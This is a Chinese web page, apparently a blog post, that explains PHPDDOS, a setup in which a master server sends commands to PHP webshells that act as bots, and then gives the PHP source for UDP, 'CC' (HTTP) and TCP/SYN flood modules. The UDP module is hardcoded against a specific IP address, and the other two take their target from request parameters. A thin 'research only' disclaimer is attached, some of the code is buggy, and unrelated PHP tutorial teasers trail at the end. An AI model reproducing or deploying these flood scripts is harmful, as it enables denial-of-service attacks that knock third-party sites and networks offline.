PHPDDOS的原理是使用一个主控端批量向被控端(也就是特殊的webshell)发送攻击命令,方式一般是get或者post,达到统一指挥的目的。而被控端一般使用了php中的sock来进行攻击。用过末日DDOS工具应该了解,攻击效果显著。
【一】。UDP源码
<?php $packets = 0; $ip = '116.255.242.14'; $port = 80; set_time_limit(0); ignore_user_abort(FALSE); $exec_time = '60'; $time = time(); echo '状态 : 正常运行中.....<br><br>'; $max_time = $time+$exec_time; $out=null; for($i=0;$i<65535;$i++){ $out .= 't'; } while(true){ $packets++; if(time() > $max_time){ break; } $fp = fsockopen("udp://$ip", $port, $errno, $errstr, 5); if($fp){ fwrite($fp, $out); fclose($fp); } } echo " 攻击包时长:<font color=Red><span class=\"text\">".$exec_time." 秒</span><br><br></font>"; echo " 攻击包总数:<font color=Red><span class=\"text\">".$packets." 个数据包</span><br><br></font>"; echo " 攻击总流量:<font color=Red><span class=\"text\">".round(($packets*65*8)/(1024*1024),2)." Mbps</span><br><br></font>"; echo " 攻击总字节:<font color=Red><span class=\"text\">".time('h:i:s')." 字节</span><br><br></font>"; echo "Packet complete at ".time('h:i:s')." with $packets (" .round(($packets*65*8)/(1024*1024),2). " Mbps) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n"; ?>
【二】。CC源码
<?php echo "状态 : 正常运行中.....<br>"; echo "================================================<br>"; echo " <font color=blue>www.phpddos.com<br>"; echo " CC Flood 模块<br>"; echo " 作者:ybhacker<br>"; echo " 警告:本程序带有攻击性,仅供安全研究与教学之用,风险自负!</font><br>"; echo "================================================<br><br>"; error_reporting(E_ALL); //提示错误信息 set_time_limit(0); //设定一个程式所允许执行的秒数 0 是无限循环 ob_implicit_flush(); // 刷新输出缓冲 $address = $_POST['site']; // 网站地址 $port = $_POST['port']; // 端口 $dongu = $_POST['dongu']; //循环次数 $sayi = 1; while ( $sayi <= $dongu ) //变量asyi小于 循环次数变量 dongu 才会继续循环 { if (($sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) === false) { echo "HaHa\n"; } if (socket_bind($sock, $address, $port) === false) { // 连接端口 echo "HaHa\n"; } if (socket_listen($sock, 5) === false) { echo "HaHa\n"; } $msg = "HTTP/1.1 GET /\r\nHost:"+$_GET['site']+"\r\nConnection: Keep-Alive\r\n"; socket_write($msg); socket_close($sock); $sayi++; // 循环一次 变量sayi 加1 echo "Goodbye...".$sayi; // 输出循环次数 } ?>
【三】。TCP源码
<?php ini_set("display_errors", "Off"); $packets = 0; $ip = $_GET['ip']; $port = $_GET['port']; set_time_limit(0); ignore_user_abort(FALSE); $exec_time = $_GET['time']; $time = time(); print "状态 : 正常运行中.....<br>"; $max_time = $time+$exec_time; while(1){ $packets++; if(time() > $max_time){ break; } $fp = fsockopen("tcp://$ip", $port,$errno,$errstr,0); } echo "================================================<br>"; echo " <font color=blue>www.phpddos.com<br>"; echo " SYN Flood 模块<br>"; echo " 作者:ybhacker<br>"; echo " 警告:本程序带有攻击性,仅供安全研究与教学之用,风险自负!</font><br>"; echo "================================================<br><br>"; echo " 攻击包总数:<font color=Red><span class=\"text\">".$packets." 个数据包</span><br><br></font>"; echo " 攻击总流量:<font color=Red><span class=\"text\">".round(($packets*65*8)/(1024*1024),2)." Mbps</span><br><br></font>"; echo " 攻击总字节:<font color=Red><span class=\"text\">".time('h:i:s')." 字节</span><br><br></font>"; echo "Packet complete at ".time('h:i:s')." with $packets (" .round(($packets*65*8)/(1024*1024),2). " Mbps) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n"; ?>
因项目需要需要统计用户无限下级计算分销佣金,计算每月分红,计算无限下级团队的业绩,需要先获得某个会员的无限下级成员。先看看数据库中的member表字段id username &...
php arrayaccess 官方的说法是让你能以数组的形式访问对象,对于这种php内置接口一直不太明白有什么用,坚持多看文章,终于理解,特来分享,思路不同,更易于理解。(1).创建一个学生类,并且实现arrayaccess 接口。<?php class studen...
(1).config.php 配置文件<?php /** * RabbitMQ_Config */ $config = [ 'host' => ...
<?php //php7+ define('CONFIG', [ 'MYSQL' => '127.0.0.1',  ...
<?php //如果支持exec函数,可以使用的方式 exec('chcp 65001'); //如果exec函数因安全问题禁用,可以使用的方式 pclose(popen('chcp 65001', 'r'));...
使用openssl扩展对应替换mcrypt的函数,(比较麻烦,但是openssl是未来趋势)在新版php中编译mcrypt扩展使用一个纯php代码实现的mcrypt扩展库,git地址为https://github.com/phpseclib/mcrypt_compat,每个mcrypt的方法都已经实...